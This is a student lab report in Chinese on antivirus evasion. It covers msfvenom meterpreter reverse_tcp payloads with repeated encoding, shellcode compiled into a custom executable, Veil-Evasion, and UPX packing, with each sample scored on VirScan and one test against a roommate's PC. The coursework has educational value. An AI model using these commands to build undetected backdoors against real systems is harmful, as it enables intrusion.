20155223 Exp3 免杀原理与实践 实验报告
20155223 Exp3 免杀原理与实践 实验报告
实验前准备
安装Veil-Evasion
- 直接使用Kali快速安装命令,拒绝采用git安装命令
apt-get -y install veil-evasion
veil --setup - 启动Veil
在生成的文档Veil里开启终端,输入命令veil。
之前没人告诉我,启动Veil是在生成的Veil文件夹里启动,而不是在外面直接输入命令启动,让我耗费一个白天在更新Kail源、换Veil版本等不相干事件上。 
正式实验
用VirScan来检测后门
- 重命名Exp2中生成的后门可执行文件为backdoor_su.exe,让其接受VirScan的审判
VirScan包含有39个国内外杀毒软件(不包含360安全卫士),其检测结果可信度较高。
不能使用原命名文件,若使用,VirScan会以“可疑广告文件”为由拒绝扫描。

 
19个报错。
- 重复编码
输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=[数据删除] LPORT=443 -f exe > notBackdoor.exe
收获结果:

 
还是有19个报错,而且还是相同的查杀软件。
可以肯定的是,多次编码并没有掩盖到源码的特征码,或是多次编码的次数使得特征码掩盖又出现了。
shellcode后门生成
- 输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[数据删除] LPORT=443 -f c
获得生成shellcode[数据删除]。
将获得的码贴入到宿主机上的VS中,编译出一个全新的后门程序(宿主机防护以关闭)。
程序运行中:

Kali监听:

 
和实验二的结果一致。
- 将产生的后门交给VirScan审判。
判决结果:

 
8个报错。
shellcode多次编译
- 输入命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 13 LHOST=[数据删除] LPORT=443 -f c。
重复上一个操作。
仍然可以使用:

VirScan审判结果:

 
5个报错,被初步认定是后门。
陷害室友传输后门验证免杀效果
- 在两台电脑可以互相ping通的条件下,向受害主机发送后门。
 - 受害主机开启QQ电脑管家全程监控,没反应。
 免杀成功(仅针对版本12.9.19161.223)
证据:

Veil-Evasion使用
根据教程启动Veil。

建立出来的程序在var/lib下,找到、逮捕、交给VirScan。

6个报错,不知道是不是哪里我搞错了。
加壳
- 对shellcode多次编码编译出来的后门进行加壳。
加壳程序为upx。
考虑到upx已经成为杀毒软件众矢之的,因此我对本次操作期望不高,只要报错的软件个数还个位数我就去蹦极很高兴。

 
我就知道!
基础问题回答
杀软是如何检测出恶意代码的?
看代码堆里面是否存在恶意代码的特征,若出现特征码,杀毒软件就会清理可疑代码。
免杀是做什么?
掩盖特征码。
免杀的基本方法有哪些?
加壳(主流的加壳软件就别想,肯定早就被盯上了)、逆序特征码、异或特征码。
实验感想
即使是很明显的后门特征出现,也会有杀毒软件不报错。出现这种情况,我一般认为是软件的病毒库没更新,但是我看见有2018.4.6更新病毒库的杀毒软件也没有报错,我后背一阵发凉。
要想保证电脑能够接近100%地探测后门,我看还是给电脑安装一个专司杀毒的AI吧。
SCP-079
20155223 Exp3 免杀原理与实践 实验报告的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
		
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
 - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
		
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
 - 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
		
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
 - 20155226《网络攻防》 Exp3 免杀原理与实践
		
20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...
 - 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
		
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
 - 20155302《网络对抗》Exp3 免杀原理与实践
		
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
 - 20155338《网络对抗》Exp3 免杀原理与实践
		
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
 - 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践
		
2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
 - 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233
		
Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...
 
随机推荐
- <Android 应用 之路> JuheNews For aNdroid (改进版)
			
简介 最新版应用已经上线,欢迎下载使用,提出宝贵意见: http://shouji.baidu.com/software/10720907.html 上一篇介绍的是最开始自己制作的一个采用聚合数据免费 ...
 - 注意Sqlserver中使用with(nolock)后实际上还是会加架构锁,只是不对要查询的数据加S锁而已(转载)
			
开发人员喜欢在SQL脚本中使用WITH(NOLOCK), WITH(NOLOCK)其实是表提示(table_hint)中的一种.它等同于 READUNCOMMITTED . 具体的功能作用如下所示(摘 ...
 - python自学——函数-strftime
			
strftime()函数的用法 strftime()函数可以把YYYY-MM-DD HH:MM:SS格式的日期字符串转换成其它形式的字符串. strftime()的语法是strftime(格式, ...
 - Web Services 根据wsdl生成代理类
			
生成代理类步骤: 一:找到Visual Studio 的工具文件夹 二:用管理员方式打开本机工具命令提示 三:输入要执行的脚本 wsdl /language:C# /n:xxxx.HermesMobi ...
 - python-ldap修改AD域用户密码(CA+SSL)
			
代码连接:https://github.com/raykuan/ldap-notes 使用python的ldap模块连接AD服务器,有两种方式: 非加密:con = ldap.initialize(' ...
 - 关于mybatis反向生成为什么有时候实体类会变成两个
			
一般来说,将TEXT字段,从一张操作频繁的表中拆分出去,成为一个Key-Value结构的独立表是 好处颇多的. 其有利之处主要体现在下面三个方面: PS:以下的讨论对象均基于Innodb引擎 1. 便 ...
 - fatal: cannot create directoryxxxx': Invalid argument
			
问题:fatal: cannot create directoryxxxx': Invalid argument 环境:git 拉取远程仓库的代码后 原因:同事是mac,这个文件夹命名规则在苹果上没有 ...
 - 安装Tidb数据库出现SSD硬盘IOPS不到40000的错误
			
今天安装tidb数据库出现IOPS过低的问题,这里如果仅仅是测试的话我们可以降低这个值,大概遇到的问题是: 解决方法: 1.我们在中控机的目录下修改某个配置文件: [tidb@:vg_adn_tidb ...
 - SDN第三次上机
			
1.创建以下拓扑(可采用任意方式) 2.利用OVS命令下发流表,实现VLAN功能 3.利用OVS命令查看流表 4.验证性测试 5.Wireshark抓包验证
 - yaml格式
			
yaml中允许表示三种格式,分别为常量值.对象和数组 例如: 其中#作为注释,yaml中只有行注释 基本格式要求: 1.大小写敏感:2.使用缩进代表层级关系: 3.缩进只能使用空格,不能使用tab键, ...